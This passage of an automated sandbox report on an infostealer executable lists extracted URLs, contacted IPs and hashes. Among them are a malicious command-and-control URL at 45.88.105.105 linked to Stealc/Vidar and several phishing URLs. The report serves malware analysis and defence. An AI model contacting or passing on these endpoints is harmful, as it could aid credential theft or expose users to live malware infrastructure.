https://csp.withgoogle.com/csp/gws/cdt1rj	chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334527036.000061440060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/apiaD	chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.php=LAX	I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?q=	chrome.exe, 00000003.00000002.2337988702.0000614400994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.2221015209.0000614400C74000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2343401477.00005D380018C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=baD	chrome.exe, 00000003.00000002.2337094219.000061440086C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2226139955.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2331262347.00006144002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225571410.00006144010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226861821.0000614400F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225546634.000061440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225203176.0000614400EF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226157847.0000614400A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225632925.0000614401098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225590202.0000614400F94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226230360.0000614400FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226194153.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, FBAFIIJK.0.dr	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/o/oauth2/revoke8	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpI	I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333303758.0000614400490000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpF	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000003.2219385482.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224130600.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222732723.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335990589.0000614400724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_84.5.dr	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.php1	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.php2	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.php8	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	chrome.exe, 00000003.00000002.2323497425.000061440001C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2343401477.00005D380018C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862v	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/J	chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000003.00000002.2332455942.0000614400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	I43xo3KKfS.exe, I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2226362763.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2227134663.0000614400D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2220861532.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226383442.0000614400C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224811522.0000614400D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247165291.0000614400C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2221015209.0000614400C74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpsL	I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.88.105.105	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
172.217.18.110	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545882
Start date and time:	2024-10-31 09:06:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	I43xo3KKfS.exe renamed because original name is a hash value
Original Sample Name:	70601976ccafcd842cf413a269f70e7c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/37@6/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 79 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.185.238, 74.125.71.84, 34.104.35.123, 216.58.212.163, 172.217.18.10, 216.58.212.170, 216.58.212.138, 142.250.181.234, 142.250.186.138, 142.250.186.106, 142.250.186.170, 142.250.184.202, 172.217.16.138, 216.58.206.42, 142.250.186.74, 216.58.206.74, 142.250.74.202, 172.217.16.202, 142.250.184.234, 142.250.186.42, 142.250.185.202, 142.250.185.170, 142.250.185.138, 142.250.185.234, 192.229.221.95, 93.184.221.240, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:07:34	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://www.kwconnect.com/redirect?url=https%3A%2F%2Fwww.ingenieriawj.com/trx/#XdGFtYXJhLnBlcmVpcmFkZWplc3VzQGRhaWljaGktc2Fua3lvLmV1	Get hash	malicious	HTMLPhisher	Browse
	https://naimestyles.com/rtwo/n/3rrLaAvg41CM3J4mAJYroltS/c3BhY2VpbnZpZGVvc0Blc2EuaW50	Get hash	malicious	HTMLPhisher	Browse
	https://uslpsz.efkbkot.xyz/e7e68e62c/JV9-MXEwfF9fJSVeKl/8jaSp4fjVfMW/EzJV4vXiNeJHw9OXxufDBAZSp5YzkhdDNlZG8lN0AjJGd-fD8kIXJ8Kg2	Get hash	malicious	Unknown	Browse
	http://mindmeters.biz	Get hash	malicious	Unknown	Browse
	http://luckywinsweep.com/4tTAnN1826Wdfo84jjvakjqbux636KVMMHSLZEESXXFW54756LTNO308c9	Get hash	malicious	Phisher	Browse
	http://luckywinsweep.com/4dEsBb1826iLPu84suzgzlvmrm636PKNQWHKYRKZUASC54756RRTS308q9	Get hash	malicious	Phisher	Browse
	http://luckywinsweep.com/4HSvRF1826gInt84duwrkafbng636FPJGMZWGTSQLQDN54756JUOR308k9	Get hash	malicious	Phisher	Browse
	https://management.bafropon.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	BbkbL3gS6s.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
45.88.105.105	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	45.88.105.105/e88e05dfd1bdeeb9.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	45.88.105.105
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.200.39
	qPNf2kJgzI.exe	Get hash	malicious	Stealc	Browse	45.91.200.39
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.200.39
	y3c6AzPbtt.exe	Get hash	malicious	Stealc	Browse	45.88.105.194
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse	45.88.105.194
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.105.194
	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse	45.88.76.238
	WAOfus3Nqk.exe	Get hash	malicious	Stealc	Browse	45.88.76.238
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.76.238

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.kwconnect.com/redirect?url=https%3A%2F%2Fwww.ingenieriawj.com/trx/#XdGFtYXJhLnBlcmVpcmFkZWplc3VzQGRhaWljaGktc2Fua3lvLmV1	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	https://naimestyles.com/rtwo/n/3rrLaAvg41CM3J4mAJYroltS/c3BhY2VpbnZpZGVvc0Blc2EuaW50	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	https://uslpsz.efkbkot.xyz/e7e68e62c/JV9-MXEwfF9fJSVeKl/8jaSp4fjVfMW/EzJV4vXiNeJHw9OXxufDBAZSp5YzkhdDNlZG8lN0AjJGd-fD8kIXJ8Kg2	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	http://mindmeters.biz	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	http://luckywinsweep.com/4tTAnN1826Wdfo84jjvakjqbux636KVMMHSLZEESXXFW54756LTNO308c9	Get hash	malicious	Phisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	http://luckywinsweep.com/4dEsBb1826iLPu84suzgzlvmrm636PKNQWHKYRKZUASC54756RRTS308q9	Get hash	malicious	Phisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	http://luckywinsweep.com/4HSvRF1826gInt84duwrkafbng636FPJGMZWGTSQLQDN54756JUOR308k9	Get hash	malicious	Phisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	https://management.bafropon.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	BbkbL3gS6s.msi	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 20.190.159.68 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	http://luckywinsweep.com/4tTAnN1826Wdfo84jjvakjqbux636KVMMHSLZEESXXFW54756LTNO308c9	Get hash	malicious	Phisher	Browse	40.115.3.253
	http://luckywinsweep.com/4HSvRF1826gInt84duwrkafbng636FPJGMZWGTSQLQDN54756JUOR308k9	Get hash	malicious	Phisher	Browse	40.115.3.253
	segura.vbs	Get hash	malicious	Remcos	Browse	40.115.3.253
	asegurar.vbs	Get hash	malicious	Remcos	Browse	40.115.3.253
	nOrden_de_Compra___0001245.vbs	Get hash	malicious	Remcos, GuLoader	Browse	40.115.3.253
	file.exe	Get hash	malicious	Stealc	Browse	40.115.3.253
	file.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	file.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.115.3.253
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	40.115.3.253

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\FBAFIIJK

Download File

Process:	C:\Users\user\Desktop\I43xo3KKfS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
